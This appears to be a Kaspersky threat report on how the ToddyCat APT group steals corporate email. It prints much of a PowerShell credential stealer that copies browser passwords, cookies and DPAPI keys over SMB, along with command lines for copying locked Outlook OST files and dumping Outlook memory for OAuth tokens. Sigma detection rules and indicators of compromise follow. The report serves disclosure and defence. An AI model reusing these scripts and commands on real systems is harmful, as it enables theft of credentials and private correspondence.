Introduction
Email remains the main means of business correspondence at organizations. It can be set up either using on-premises infrastructure (for example, by deploying Microsoft Exchange Server) or through cloud mail services such as Microsoft 365 or Gmail.
At first glance, it might seem that using cloud services offers a higher level of confidentiality for corporate correspondence: mail data remains external, even if the organization’s internal infrastructure is compromised. However, this does not stop highly organized espionage groups like the ToddyCat APT group.
This research describes how ToddyCat APT evolved its methods to gain covert access to the business correspondence of employees at target companies. In the first part, we review the incidents that occurred in the second half of 2024 and early 2025. In the second part of the report, we focus in detail on how the attackers implemented a new attack vector as a result of their efforts. This attack enables the adversary to leverage the user’s browser to obtain OAuth 2.0 authorization tokens. These tokens can then be utilized outside the perimeter of the compromised infrastructure to access corporate email.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
TomBerBil in PowerShell
In a previous post on the ToddyCat group, we described the TomBerBil family of tools, which are designed to extract cookies and saved passwords from browsers on user hosts. These tools were written in C# and C++.
Yet, analysis of incidents from May to June 2024 revealed a new variant implemented in PowerShell. It retained the core malicious functionality of the previous samples but employed a different implementation approach and incorporated new commands.
A key feature of this version is that it was executed on domain controllers on behalf of a privileged user, accessing browser files via shared network resources using the SMB protocol.
Besides supporting the Chrome and Edge browsers, the new version also added processing for Firefox browser files.
The tool was launched using a scheduled task that executed the following command line:
|
powershell –exec bypass –command “c:\programdata\ip445.ps1” |
The script begins by creating a new local directory, which is specified in the $baseDir variable. The tool saves all data it collects into this directory.
try{
New-Item -ItemType directory -Path $baseDir | Out-Null
}catch{
}
|
$baseDir = ‘c:\programdata\temp\‘
try{ New–Item –ItemType directory –Path $baseDir | Out–Null }catch{ } |
The script defines a function named parseFile, which accepts the full file path as a parameter. It opens the C:\programdata\uhosts.txt file and reads its content line by line using .NET Framework classes, returning the result as a string array. This is how the script forms an array of host names.
$fileReader=[System.IO.File]::OpenText($fileName)
while(($line = $fileReader.ReadLine()) -ne $null){
try{
$line.trim()
}
catch{
}
}
$fileReader.close()
}
|
function parseFile{ param( [string]$fileName )
$fileReader=[System.IO.File]::OpenText($fileName)
while(($line = $fileReader.ReadLine()) –ne $null){ try{ $line.trim() } catch{ } } $fileReader.close() } |
For each host in the array, the script attempts to establish an SMB connection to the shared resource c$, constructing the path in the \\\c$\users\ format. If the connection is successful, the tool retrieves a list of user directories present on the remote host. If at least one directory is found, a separate folder is created for that host within the $baseDir working directory:
$cpath = “\\{0}\c$\users\” -f $myhost
$items = @(get-childitem $cpath -Force -ErrorAction SilentlyContinue)
$lpath = $baseDir + $myhost
try{
New-Item -ItemType directory -Path $lpath | Out-Null
}catch{
}
|
foreach($myhost in parseFile(‘c:\programdata\uhosts.txt’)){ $myhost=$myhost.TrimEnd() $open=$false
$cpath = “\\{0}\c$\users\“ –f $myhost $items = @(get–childitem $cpath –Force –ErrorAction SilentlyContinue) $lpath = $baseDir + $myhost try{ New–Item –ItemType directory –Path $lpath | Out–Null }catch{ } |
In the next stage, the script iterates through the user folders discovered on the remote host, skipping any folders specified in the $filter_users variable, which is defined upon launching the tool. For the remaining folders, three directories are created in the script’s working folder for collecting data from Google Chrome, Mozilla Firefox, and Microsoft Edge.
foreach($item in $items){
$username = $item.Name
if($filter_users -contains $username.tolower()){
continue
}
$upath = $lpath + ‘\’ + $username
try{
New-Item -ItemType directory -Path $upath | Out-Null
New-Item -ItemType directory -Path ($upath + ‘\google’) | Out-Null
New-Item -ItemType directory -Path ($upath + ‘\firefox’) | Out-Null
New-Item -ItemType directory -Path ($upath + ‘\edge’) | Out-Null
}catch{
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$filter_users = @(‘public’,‘all users’,‘default’,‘default user’,‘desktop.ini’,‘.net v4.5’,‘.net v4.5 classic’)
foreach($item in $items){ $username = $item.Name if($filter_users –contains $username.tolower()){ continue } $upath = $lpath + ‘\’ + $username try{ New-Item -ItemType directory -Path $upath | Out-Null New-Item -ItemType directory -Path ($upath + ‘\google‘) | Out-Null New-Item -ItemType directory -Path ($upath + ‘\firefox‘) | Out-Null New-Item -ItemType directory -Path ($upath + ‘\edge‘) | Out–Null }catch{ } |
Next, the tool uses the default account to search for the following Chrome and Edge browser files on the remote host:
- Login Data: a database file that contains the user’s saved logins and passwords for websites in an encrypted format
- Local State: a JSON file containing the encryption key used to encrypt stored data
- Cookies: a database file that stores HTTP cookies for all websites visited by the user
- History: a database that stores the browser’s history
These files are copied via SMB to the local folder within the corresponding user and browser folder hierarchy. Below is a code snippet that copies the Login Data file:
|
$googlepath = $upath + ‘\google\’ $firefoxpath = $upath + ‘\firefox\‘ $edgepath = $upath + ‘\edge\’ $loginDataPath = $item.FullName + “\AppData\Local\Google\Chrome\User Data\Default\Login Data” if(test-path -path $loginDataPath){ $dstFileName = “{0}\{1}” -f $googlepath,’Login Data‘ copy–item –Force –Path $loginDataPath –Destination $dstFileName | Out–Null } |
The same procedure is applied to Firefox files, with the tool additionally traversing through all the user profile folders of the browser. Instead of the files described above for Chrome and Edge, the script searches for files which have names from the $firefox_files array that contain similar information. The requested files are also copied to the tool’s local folder.
$firefoxBase = $item.FullName + ‘\AppData\Roaming\Mozilla\Firefox\Profiles’
if(test-path -path $firefoxBase){
$profiles = @(get-childitem $firefoxBase -Force -ErrorAction SilentlyContinue)
foreach($profile in $profiles){
if(!(test-path -path ($firefoxpath + ‘\’ + $profile.Name))){
New-Item -ItemType directory -Path ($firefoxpath + ‘\’ + $profile.Name) | Out-Null
}
foreach($firefox_file in $firefox_files){
$tmpPath = $firefoxBase + ‘\’ + $profile.Name + ‘\’ + $firefox_file
if(test-path -Path $tmpPath){
$dstFileName = “{0}\{1}\{2}” -f $firefoxpath,$profile.Name,$firefox_file
copy-item -Force -Path $tmpPath -Destination $dstFileName | Out-Null
}
}
}
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$firefox_files = @(‘key3.db’,‘signons.sqlite’,‘key4.db’,‘logins.json’)
$firefoxBase = $item.FullName + ‘\AppData\Roaming\Mozilla\Firefox\Profiles’ if(test–path –path $firefoxBase){ $profiles = @(get–childitem $firefoxBase –Force –ErrorAction SilentlyContinue) foreach($profile in $profiles){ if(!(test–path –path ($firefoxpath + ‘\’ + $profile.Name))){ New-Item -ItemType directory -Path ($firefoxpath + ‘\‘ + $profile.Name) | Out–Null } foreach($firefox_file in $firefox_files){ $tmpPath = $firefoxBase + ‘\’ + $profile.Name + ‘\‘ + $firefox_file if(test–path –Path $tmpPath){ $dstFileName = “{0}\{1}\{2}” –f $firefoxpath,$profile.Name,$firefox_file copy–item –Force –Path $tmpPath –Destination $dstFileName | Out–Null } } } } |
The copied files are encrypted using the Data Protection API (DPAPI). The previous version of TomBerBil ran on the host and copied the user’s token. As a result, in the user’s current session DPAPI was used to decrypt the master key, and subsequently, the files. The updated server-side version of TomBerBil copies files containing the user encryption keys that are used by DPAPI. These keys, combined with the user’s SID and password, grant the attackers the ability to decrypt all the copied files locally.
|
if(test–path –path ($item.FullName + ‘\AppData\Roaming\Microsoft\Protect’)){ copy–item –Recurse –Force –Path ($item.FullName + ‘\AppData\Roaming\Microsoft\Protect’) –Destination ($upath + ‘\’) | Out-Null } if(test-path -path ($item.FullName + ‘\AppData\Local\Microsoft\Credentials‘)){ copy-item -Recurse -Force -Path ($item.FullName + ‘\AppData\Local\Microsoft\Credentials‘) -Destination ($upath + ‘\‘) | Out–Null } |
With TomBerBil, the attackers automatically collected user cookies, browsing history, and saved passwords, while simultaneously copying the encryption keys needed to decrypt the browser files. The connection to the victim’s remote hosts was established via the SMB protocol, which significantly complicated the detection of the tool’s activity.
TomBerBil in PowerShell
As a rule, such tools are deployed at later stages, after the adversary has established persistence within the organization’s internal infrastructure and obtained privileged access.
Detection
To detect the implementation of this attack, it’s necessary to set up auditing for access to browser folders and to monitor network protocol connection attempts to those folders.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
title: Access To Sensitive Browser Files Via Smb id: 9ac86f68–9c01–4c9d–897a–4709256c4c7b status: experimental description: Detects remote access attempts to browser files containing sensitive information author: Kaspersky date: 2025–08–11 tags: – attack.credential–access – attack.t1555.003 logsource: product: windows service: security detection: event: EventID: ‘5145’ chromium_files: ShareLocalPath|endswith: – ‘\User Data\Default\History’ – ‘\User Data\Default\Network\Cookies’ – ‘\User Data\Default\Login Data’ – ‘\User Data\Local State’ firefox_path: ShareLocalPath|contains: ‘\AppData\Roaming\Mozilla\Firefox\Profiles’ firefox_files: ShareLocalPath|endswith: – ‘key3.db’ – ‘signons.sqlite’ – ‘key4.db’ – ‘logins.json’ condition: event and (chromium_files or firefox_path and firefox_files) falsepositives: Legitimate activity level: medium |
In addition, auditing for access to the folders storing the DPAPI encryption key files is also required.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
title: Access To System Master Keys Via Smb id: ba712364–cb99–4eac–a012–7fc86d040a4a status: experimental description: Detects remote access attempts to the Protect file, which stores DPAPI master keys references: – https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary author: Kaspersky date: 2025–08–11 tags: – attack.credential–access – attack.t1555 logsource: product: windows service: security detection: selection: EventID: ‘5145’ ShareLocalPath|contains: ‘windows\System32\Microsoft\Protect’ condition: selection falsepositives: Legitimate activity level: medium |
Stealing emails from Outlook
The modified TomBerBil tool family proved ineffective at evading monitoring tools, compelling the threat actor to seek alternative methods for accessing the organization’s critical data. We discovered an attempt to gain access to corporate correspondence files in the local Outlook storage.
The Outlook application stores OST (Offline Storage Table) files for offline use. The names of these files contain the address of the mailbox being cached. Outlook uses OST files to store a local copy of data synchronized with mail servers: Microsoft Exchange, Microsoft 365, or Outlook.com. This capability allows users to work with emails, calendars, contacts, and other data offline, then synchronize changes with the server once the connection is restored.
However, access to an OST file is blocked by the application while Outlook is running. To copy the file, the attackers created a specialized tool called TCSectorCopy.
TCSectorCopy
This tool is designed for block-by-block copying of files that may be inaccessible by applications or the operating system, such as files that are locked while in use.
The tool is a 32-bit PE file written in C++. After launch, it processes parameters passed via the command line: the path to the source file to be copied and the path where the result should be saved. The tool then validates that the source path is not identical to the destination path.
Validating the TCSectorCopy command line parameters
Next, the tool gathers information about the disk hosting the file to be copied: it determines the cluster size, file system type, and other parameters necessary for low-level reading.
Determining the disk’s file system type
TCSectorCopy then opens the disk as a device in read-only mode and sequentially copies the file content block by block, bypassing the standard Windows API. This allows the tool to copy even the files that are locked by the system or other applications.
The adversary uploaded this tool to target host and used it to copy user OST files:
|
xCopy.exe C:\Users\<user>\AppData\Local\Microsoft\Outlook\<email>@<domain>.ost <email>@<domain>.ost2 |
Having obtained the OST files, the attackers processed them using a separate tool to extract the email correspondence content.
XstReader
XstReader is an open-source C# tool for viewing and exporting the content of Microsoft Outlook OST and PST files. The attackers used XstReader to export the content of the previously copied OST files.
XstReader is executed with the -e parameter and the path to the copied file. The -e parameter specifies the export of all messages and their attachments to the current folder in the HTML, RTF, and TXT formats.
|
XstExport.exe –e <email>@<domain>.ost2 |
After exporting the data from the OST file, the attackers review the list of obtained files, collect those of interest into an archive, and exfiltrate it.
Stealing data with TCSectorCopy and XstReader
Detection
To detect unauthorized access to Outlook OST files, it’s necessary to set up auditing for the %LOCALAPPDATA%\Microsoft\Outlook\ folder and monitor access events for files with the .ost extension. The Outlook process and other processes legitimately using this file must be excluded from the audit.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
title: Access To Outlook Ost Files id: 2e6c1918–08ef–4494–be45–0c7bce755dfc status: experimental description: Detects access to the Outlook Offline Storage Table (OST) file author: Kaspersky date: 2025–08–11 tags: – attack.collection – attack.t1114.001 logsource: product: windows service: security detection: event: EventID: 4663 outlook_path: ObjectName|contains: ‘\AppData\Local\Microsoft\Outlook\’ ost_file: ObjectName|endswith: ‘.ost‘ condition: event and outlook_path and ost_file falsepositives: Legitimate activity level: low |
The TCSectorCopy tool accesses the OST file via the disk device, so to detect it, it’s important to monitor events such as Event ID 9 (RawAccessRead) in Sysmon. These events indicate reading directly from the disk, bypassing the file system.
As we mentioned earlier, TCSectorCopy receives the path to the OST file via a command line. Consequently, detecting this tool’s malicious activity requires monitoring for a specific OST file naming pattern: the @ symbol and the .ost extension in the file name.
Example of detecting TCSectorCopy activity in KATA
Stealing access tokens from Outlook
Since active file collection actions on a host are easily tracked using monitoring systems, the attackers’ next step was gaining access to email outside the hosts where monitoring was being performed. Some target organizations used the Microsoft 365 cloud office suite. The attackers attempted to obtain the access token that resides in the memory of processes utilizing this cloud service.
In the OAuth 2.0 protocol, which Microsoft 365 uses for authorization, the access token is used when requesting resources from the server. In Outlook, it is specified in API requests to the cloud service to retrieve emails along with attachments. Its disadvantage is its relatively short lifespan; however, this can be enough to retrieve all emails from a mailbox while bypassing monitoring tools.
The access token is stored using the JWT (JSON Web Tokens) standard. The token content is encoded using Base64. JWT headers for Microsoft applications always specify the typ parameter with the JWT value first. This means that the first 18 characters of the encoded token will always be the same.
The attackers used SharpTokenFinder to obtain the access token from the user’s Outlook application. This tool is written in C# and designed to search for an access token in processes associated with the Microsoft 365 suite. After launch, the tool searches the system for the following processes:
- “TEAMS”
- “WINWORD”
- “ONENOTE”
- “POWERPNT”
- “OUTLOOK”
- “EXCEL”
- “ONEDRIVE”
- “SHAREPOINT”
If these processes are found, the tool attempts to open each process’s object using the OpenProcess function and dump their memory. To do this, the tool imports the MiniDumpWriteDump function from the dbghelp.dll file, which writes user mode minidump information to the specified file. The dump files are saved in the dump folder, located in the current SharpTokenFinder directory. After creating dump files for the processes, the tool searches for the following string pattern in each of them:
|
“eyJ0eX[a-zA-Z0-9\\._\\-]+” |
This template uses the first six symbols of the encoded JWT token, which are always the same. Its structures are separated by dots. This is sufficient to find the necessary string in the process memory dump.
Example of a JWT Token
In the incident being described, the local security tools (EPP) blocked the attempt to create the OUTLOOK.exe process dump using SharpTokenFinder, so the operator used ProcDump from the Sysinternals suite for this purpose:
|
procdump64.exe –accepteula –ma OUTLOOK.exe dir c:\windows\temp\OUTLOOK.EXE_<id>.dmp c:\progra~1\winrar\rar.exe a –k –r –s –m5 –v100M %temp%\dmp.rar c:\windows\temp\OUTLOOK.EXE_<id>.dmp |
Here, the operator executed ProcDump with the following parameters:
accepteulasilently accepts the license agreement without displaying the agreement window.maindicates that a full process dump should be created.exeis the name of the process to be dumped.
The dir command is then executed as a check to confirm that the file was created and is not zero size. Following this validation, the file is added to a dmp.rar archive using WinRAR. The attackers sent this file to their host via SMB.
Detection
To detect this technique, it’s necessary to monitor the ProcDump process command line for names belonging to Microsoft 365 application processes.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
title: Dump Of Office 365 Processes Using Procdump id: 5ce97d80–c943–4ac7–8caf–92bb99e90e90 status: experimental description: Detects Office 365 process names in the command line of the procdump tool author: kaspersky date: 2025–08–11 tags: – attack.lateral–movement – attack.defense–evasion – attack.t1550.001 logsource: category: process_creation product: windows detection: selection: Product: ‘ProcDump’ CommandLine|contains: – ‘teams’ – ‘winword’ – ‘onenote’ – ‘powerpnt’ – ‘outlook’ – ‘excel’ – ‘onedrive’ – ‘sharepoint’ condition: selection falsepositives: Legitimate activity level: high |
Below is an example of the ProcDump tool from the Sysinternals package used to dump the Outlook process memory, detected by Kaspersky Anti Targeted Attack (KATA).
Example of Outlook process dump detection in KATA
Takeaways
The incidents reviewed in this article show that ToddyCat APT is constantly evolving its techniques and seeking new ways to conceal its activity aimed at gaining access to corporate correspondence within compromised infrastructure. Most of the techniques described here can be successfully detected. For timely identification of these techniques, we recommend using both host-based EPP solutions, such as Kaspersky Endpoint Security for Business, and complex threat monitoring systems, such as Kaspersky Anti Targeted Attack. For comprehensive, up-to-date information on threats and corresponding detection rules, we recommend Kaspersky Threat Intelligence.
Indicators of compromise
Malicious files
55092E1DEA3834ABDE5367D79E50079A ip445.ps1
2320377D4F68081DA7F39F9AF83F04A2 xCopy.exe
B9FDAD18186F363C3665A6F54D51D3A0 stf.exe
Not-a-virus files
49584BD915DD322C3D84F2794BB3B950 XstExport.exe
File paths
C:\programdata\ip445.ps1
C:\Windows\Temp\xCopy.exe
C:\Windows\Temp\XstExport.exe
c:\windows\temp\stf.exe
PDB
O:\Projects\Penetration\Tools\SectorCopy\Release\SectorCopy.pdb
